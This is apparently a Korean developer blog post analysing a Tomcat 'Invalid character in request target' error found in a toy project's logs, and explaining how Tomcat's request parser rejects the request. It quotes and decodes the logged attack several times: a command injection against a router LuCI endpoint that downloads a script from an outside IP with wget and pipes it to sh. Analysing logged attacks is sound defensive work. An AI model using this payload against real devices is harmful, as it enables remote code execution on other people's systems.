최근 토이 프로젝트에 Grafana와 Loki를 활용해 로깅 및 모니터링을 설정하던 중, 흥미로운 에러 메시지를 발견했다.
이 에러는 단순히 유효하지 않은 문자 때문에 발생한 것처럼 보이지만, 자세히 살펴보면 원격 코드 실행(RCE) 공격 시도로 인해 발생한 것을 알 수 있다.
이번 글에서는 이 에러의 원인과 톰캣이 이를 어떻게 방어하는지에 대해 살펴보자.
java.lang.IllegalArgumentException: Invalid character found in the request target
[/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+http%3A%2F%2F103.149.28.141%2Ft+-O-+|+sh%60) ]. The valid characters are defined in RFC 7230 and RFC 3986
이 메시지는 요청에 유효하지 않은 문자가 포함되어 있어 예외가 발생했음을 나타낸다.
그러나 자세히 보면, /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+http%3A%2F%2F103.149.28.141%2Ft+-O-+|+sh%60)
부분이 쉘 명령어로 URL 인코딩된 형태라는 것을 알 수 있다.
여기서 /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+http%3A%2F%2F103.149.28.141%2Ft+-O-+|+sh%60)
부분을 해석해보면 다음과 같다.
/cgi-bin/luci/;stok=/locale
/cgi-bin/luci/
는 웹 서버의 CGI 스크립트를 실행하는 디렉토리stok=/locale
는 스톡 키를 설정하는 부분$(id>`wget http://103.149.28.141/t -O- | sh`)
http://103.149.28.141/t
)에서 스크립트를 다운로드하고이런 명령어를 통해 공격자의 스크립트가 실행되도록 하는 것이다.
그렇다면 이런 공격이 왜 막혔을까?
톰캣은 HTTP 요청을 처리하는 과정에서 RFC 7230 및 RFC 3986 표준에 따라 URL의 유효성을 검증한다.
이 두 표준은 URL에 사용할 수 있는 유효한 문자를 정의한다.
URL에는 ASCII 문자만 사용할 수 있으며, 특정 문자는 예약되어 있다.
예를 들어, /, ?, # 등은 특별한 의미를 가지며, 이러한 문자는 인코딩된 형태로 사용해야 한다.
톰캣은 Http11InputBuffer 클래스를 통해 HTTP 요청을 파싱하고, 요청의 유효성을 검증한다.
이 과정에서 유효하지 않은 문자가 포함된 요청은 예외를 발생시킨다.
if (this.parsingRequestLineQPos != -1 && !this.httpParser.isQueryRelaxed(this.chr)) {
this.request.protocol().setString("HTTP/1.1");
invalidRequestTarget = this.parseInvalid(this.parsingRequestLineStart, this.byteBuffer);
throw new IllegalArgumentException(sm.getString("iib.invalidRequestTarget", new Object[]{invalidRequestTarget}));
}
if (this.httpParser.isNotRequestTargetRelaxed(this.chr)) {
this.request.protocol().setString("HTTP/1.1");
invalidRequestTarget = this.parseInvalid(this.parsingRequestLineStart, this.byteBuffer);
throw new IllegalArgumentException(sm.getString("iib.invalidRequestTarget", new Object[]{invalidRequestTarget}));
}
이 코드는 요청 타겟에 유효하지 않은 문자가 포함된 경우 예외를 발생시킨다.
여기서 this.httpParser.isQueryRelaxed
와 this.httpParser.isNotRequestTargetRelaxed
메서드는 각각 요청 타겟과 쿼리 문자열의 유효성을 검사한다.
톰캣은 RFC 7230과 RFC 3986에 정의된 유효한 문자만을 허용하기 때문에, 쉘 명령어와 같은 유효하지 않은 문자가 포함된 요청은 차단된다.
이로 인해 원격 코드 실행 공격을 방어할 수 있다.
이렇게 내가 모르는 부분에서 다양한 로직이 있었고 아무리 토이 프로젝트라지만 로그를 유심히 봐야할 이유가 하나 더 늘었다
Slack에 Github 알림 손쉽게 연동하기! (0) | 2023.09.05 |
---|